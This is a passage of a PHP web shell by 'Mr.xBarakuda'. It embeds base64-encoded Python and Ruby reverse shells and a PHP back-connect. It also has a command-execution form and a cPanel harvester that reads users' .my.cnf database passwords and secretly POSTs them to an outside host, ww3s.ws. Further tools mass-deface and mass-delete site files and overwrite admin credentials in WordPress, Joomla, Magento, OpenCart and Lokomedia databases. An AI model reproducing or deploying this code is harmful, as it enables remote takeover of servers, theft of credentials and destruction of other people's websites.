$becaa=base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk=");
$pbcaa=@fopen('bcpyt.py','w');
fwrite($pbcaa,$becaa);
$out1 = exe("python bcpyt.py ".$_POST['server']." ".$_POST['port']);
sleep(1);
echo "<pre>$out1
".exe("ps aux | grep bcpyt.py")."</pre>";
unlink("bcpyt.py");
}
if($_POST['backconnect'] == 'ruby') {
$becaak=base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k");
$pbcaak=@fopen('bcruby.rb','w');
fwrite($pbcaak,$becaak);
$out2 = exe("ruby bcruby.rb ".$_POST['server']." ".$_POST['port']);
sleep(1);
echo "<pre>$out2
".exe("ps aux | grep bcruby.rb")."</pre>";
unlink("bcruby.rb");
}
if($_POST['backconnect'] == 'php') {
$ip = $_POST['server'];
$port = $_POST['port'];
$sockfd = fsockopen($ip , $port , $errno, $errstr );
if($errno != 0){
echo "<font color='red'>$errno : $errstr</font>";
} else if (!$sockfd) {
$result = "<p>Unexpected error has occured, connection may have failed.</p>";
} else {
fputs ($sockfd ,"
{##########################################}
..:: BackConnect PHP By Mr.xBarakuda ::..
{##########################################}
");
$dir = shell_exec("pwd");
$sysinfo = shell_exec("uname -a");
$time = Shell_exec("time");
$len = 1337;
fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "
");
while(!feof($sockfd)){ $cmdPrompt = '[kuda]#:> ';
fputs ($sockfd , $cmdPrompt );
$command= fgets($sockfd, $len);
fputs($sockfd , "
" . shell_exec($command) . "
");
}
fclose($sockfd);
}
}
echo "</p></div>";
} elseif($_GET['kuda'] == 'adminer') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
function adminer($url, $isi) {
$fp = fopen($isi, "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
}
if(file_exists('adminer.php')) {
echo "<center><font color=white><a href='$full/adminer.php' target='_blank'>>> ADMINER LOGIN <<</a></font></center>";
} else {
if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
echo "<center><font color=white><a href='$full/adminer.php' target='_blank'>>> ADMINER LOGIN <<</a></font></center>";
} else {
echo "<center><font color=red>gagal buat file adminer</font></center>";
}
}
} elseif($_GET['kuda'] == 'cmd') {
echo "<center><form method='post'>
<font color='blue' style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).": ~ $ </font>
<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'><br>
</form></center>";
if($_POST['do_cmd']) {
echo "<pre>".exe($_POST['cmd'])."</pre>";
}
}
elseif($_GET['kuda'] == 'cpanel') {
@ini_set('display_errors',0);
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
return trim($ar1[0]);
}
echo '<br><style>
textarea {
resize:none;
color:black;
background-color:#ffffff;
font-size:8pt; color:black;
border:1px solid white ;
border-left: 4px solid white ;
}
input {
color: black;
border:1px dotted white;
}
</style>';
echo '<center>';
$d0mains = @file('/etc/named.conf');
$domains = scandir("/var/named");
if ($domains or $d0mains)
{
$domains = scandir("/var/named");
if($domains) {
echo "<table align=center><tr><th valign=top class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";
$count=1;
$dc = 0;
$list = scandir("/var/named");
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
$dirz = '/home/'.$owner['name'].'/.my.cnf';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>".$count++."</td><td valign=top style= width: 139px; border :2px solid white class=style2 ><a href=http://".$domain.":2082 target=_blank>".$domain."</a></td><td valign=top style= width: 139px; border: 2px solid white class=style2 >".$owner['name']."</td><td valign=top style= width: 139px; border: 2px solid white class=style2 >".$password."</td><td valign=top style=border :2px solid white style=width: 139px><a href=".$owner['name'].".txt target=_blank>Click Here</a></td></tr>";
$dc++;
$success3="http://".$domain."|".$owner['name']."|".$password."
";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://ww3s.ws/ok.php");
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"result=".base64_encode($success3));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$buffer = curl_exec($ch);
}
}
}
echo '</table>';
$total = $dc;
echo '</center>';
}else{
$d0mains = @file('/etc/named.conf');
if($d0mains) {
echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
$count=1;
$dc = 0;
$mck = array();
foreach($d0mains as $d0main){
if(@eregi('zone',$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){
$mck[] = $domain[1][0];
}
}
}
$mck = array_unique($mck);
$usr = array();
$dmn = array();
foreach($mck as $o) {
$infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
$usr[] = $infos['name'];
$dmn[] = $o;
}
array_multisort($usr,$dmn);
$dt = file('/etc/passwd');
$passwd = array();
foreach($dt as $d) {
$r = explode(':',$d);
if(strpos($r[5],'home')) {
$passwd[$r[0]] = $r[5];
}
}
$l=0;
$j=1;
foreach($usr as $r) {
$dirz = '/home/'.$r.'/.my.cnf';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$r.'.txt');
$p=file_get_contents(''.$path.'/'.$r.'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td valign=top class=style2 style=width: 139px>".$count++."</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td valign=top class=style2 style=width: 139px>'.$r."</td><td valign=top class=style2 style=width: 139px>".$password."</td><td valign=top class=style2 style=width: 139px><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
flush();
$l=$l?0:1;
$j++;
}
}
}
echo '</table>';
$total = $dc;
echo '<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel ada = '.$total.'</h3><br />';
echo '</center>';
}
}else{
echo "<div class=result><i><font color=#FF0000>ERROR</font><br><font color=#FF0000>/var/named</font> or <font color=#FF0000>etc/named.conf</font> Not Accessible!</i></div>";
}
} elseif($_GET['kuda'] == 'mass') {
echo "<center><form action=\"\" method=\"post\">
";
$dirr=$_POST['d_dir'];
$index = $_POST["script"];
$index = str_replace('"',"'",$index);
$index = stripslashes($index);
function edit_file($file,$index){
if (is_writable($file)) {
clear_fill($file,$index);
echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
}
else {
echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
}
}
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($lokasi)) {
echo "[<font color=lime>DELETED</font>] $lokasi<br>";
unlink($lokasi);
$idx = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
function clear_fill($file,$index){
if(file_exists($file)){
$handle = fopen($file,'w');
fwrite($handle,'');
fwrite($handle,$index);
fclose($handle); } }
function gass(){
global $dirr , $index ;
chdir($dirr);
$me = str_replace(dirname(__FILE__).'/','',__FILE__);
$files = scandir($dirr) ;
$notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
sort($files);
$n = 0 ;
foreach ($files as $file){
if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
edit_file($file,$index);
flush();
$n = $n +1 ;
}
}
echo "<br>";
echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
}
function ListFiles($dirrall) {
if($dh = opendir($dirrall)) {
$files = Array();
$inner_files = Array();
$me = str_replace(dirname(__FILE__).'/','',__FILE__);
$notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
while($file = readdir($dh)) {
if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
if(is_dir($dirrall . "/" . $file)) {
$inner_files = ListFiles($dirrall . "/" . $file);
if(is_array($inner_files)) $files = array_merge($files, $inner_files);
} else {
array_push($files, $dirrall . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
function gass_all(){
global $index ;
$dirrall=$_POST['d_dir'];
foreach (ListFiles($dirrall) as $key=>$file){
$file = str_replace('//',"/",$file);
echo "<center><strong>$file</strong> ===>";
edit_file($file,$index);
flush();
}
$key = $key+1;
echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $lokasi<br>";
file_put_contents($lokasi, $isi_script);
$idx = sabun_massal($dirc,$namafile,$isi_script);
}
}
}
}
}
}
if($_POST['mass'] == 'onedir') {
echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
";
$ini="http://";
$mainpath=$_POST[d_dir];
$file=$_POST[d_file];
$path=opendir("$mainpath");
$code=base64_encode($_POST[script]);
$indx=base64_decode($code);
while($row=readdir($dir)){
$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){
echo"$ini$row/$file
";
}
}
echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>
";
$mainpath=$_POST[d_dir];$file=$_POST[d_file];
$path=opendir("$mainpath");
$code=base64_encode($_POST[script]);
$indx=base64_decode($code);
while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
}
}
elseif($_POST['mass'] == 'sabunmassal') { gass(); }
elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
elseif($_POST['mass'] == 'massdeface') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>"; }
else {
echo "
<center><font color='blue' style='text-decoration: underline;'>
Select Type:<br>
</font>
<select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
<option value=\"onedir\">Mass Deface 1 Dir</option>
<option value=\"massdeface\">Mass Deface ALL Dir</option>
<option value=\"sabunmassal\">Sabun Massal Di Tempat</option>
<option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
<option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
<font color='blue' style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
<font color='blue' style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
<font color='blue' style='text-decoration: underline;'>Index File:</font><br>
<textarea name='script' style='width: 450px; height: 200px;'>Visited By Mr.xBarakuda</textarea><br>
<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
</form></center>";
}
} elseif($_GET['kuda'] == 'edit_user') {
if($_POST['hajar']) {
if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
echo "<center>username atau password harus lebih dari 6 karakter</center>";
} else {
$user_baru = $_POST['user_baru'];
$pass_baru = md5($_POST['pass_baru']);
$conf = $_POST['config_dir'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/JConfig|joomla/",$config)) {
$dbhost = ambilkata($config,"host = '","'");
$dbuser = ambilkata($config,"user = '","'");
$dbpass = ambilkata($config,"password = '","'");
$dbname = ambilkata($config,"db = '","'");
$dbprefix = ambilkata($config,"dbprefix = '","'");
$prefix = $dbprefix."users";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result['id'];
$site = ambilkata($config,"sitename = '","'");
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
echo "<center>Config => ".$file_conf."<br>";
echo "CMS => Joomla</center><br>";
if($site == '') {
echo "<center>Sitename => <font color=red>error, gabisa ambil nama domain nya</font></center><br>";
} else {
echo "<center>Sitename => $site</center><br>";
}
if(!$update OR !$conn OR !$db) {
echo "<center>Status => <font color=red>".mysql_error()."</font></center><br><br>";
} else {
echo "<center>Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font></center><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/WordPress/",$config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
$url_target = "<center>Login => <font color=red>error, gabisa ambil nama domain nyaa</font></center><br>";
} else {
$url_target = "<center>Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a></center><br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
echo "<center>Config => ".$file_conf."<br>";
echo "CMS => Wordpress</center><br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "<center>Status => <font color=red>".mysql_error()."</font></center><br><br>";
} else {
echo "<center>Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font></center><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/Magento|Mage_Core/",$config)) {
$dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
$dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
$dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
$dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
$dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
$prefix = $dbprefix."admin_user";
$option = $dbprefix."core_config_data";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
$result = mysql_fetch_array($q);
$id = $result[user_id];
$q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
$result2 = mysql_fetch_array($q2);
$target = $result2[value];
if($target == '') {
$url_target = "<center>Login => <font color=red>error, gabisa ambil nama domain nyaa</font></center><br>";
} else {
$url_target = "<center>Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a></center><br>";
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
echo "<center>Config => ".$file_conf."<br>";
echo "CMS => Magento</center><br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "<center>Status => <font color=red>".mysql_error()."</font></center><br><br>";
} else {
echo "<center>Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font></center><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
$dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
$dbuser = ambilkata($config,"'DB_USERNAME', '","'");
$dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
$dbname = ambilkata($config,"'DB_DATABASE', '","'");
$dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
$prefix = $dbprefix."user";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
$result = mysql_fetch_array($q);
$id = $result[user_id];
$target = ambilkata($config,"HTTP_SERVER', '","'");
if($target == '') {
$url_target = "<center>Login => <font color=red>error, gabisa ambil nama domain nyaa</font></center><br>";
} else {
$url_target = "<center>Login => <a href='$target' target='_blank'><u>$target</u></a></center><br>";
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
echo "<center>Config => ".$file_conf."<br>";
echo "CMS => OpenCart</center><br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "<center>Status => <font color=red>".mysql_error()."</font></center><br><br>";
} else {
echo "<center>Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font></center><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
$dbhost = ambilkata($config,'server = "','"');
$dbuser = ambilkata($config,'username = "','"');
$dbpass = ambilkata($config,'password = "','"');
$dbname = ambilkata($config,'database = "','"');
$prefix = "users";
$option = "identitas";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
$result = mysql_fetch_array($q);
$target = $result[alamat_website];
if($target == '') {
$target2 = $result[url];
$url_target = "<center>Login => <font color=red>error, gabisa ambil nama domain nyaa</font></center><br>";
if($target2 == '') {
$url_target2 = "<center>Login => <font color=red>error, gabisa ambil nama domain nyaa</font></center><br>";
} else {
$cek_login3 = file_get_contents("$target2/adminweb/");
$cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
$url_target2 = "<center>Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a></center><br>";
} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
$url_target2 = "<center>Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a></center><br>";
} else {
$url_target2 = "<center>Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]</center><br>";
}
}
} else {
$cek_login = file_get_contents("$target/adminweb/");
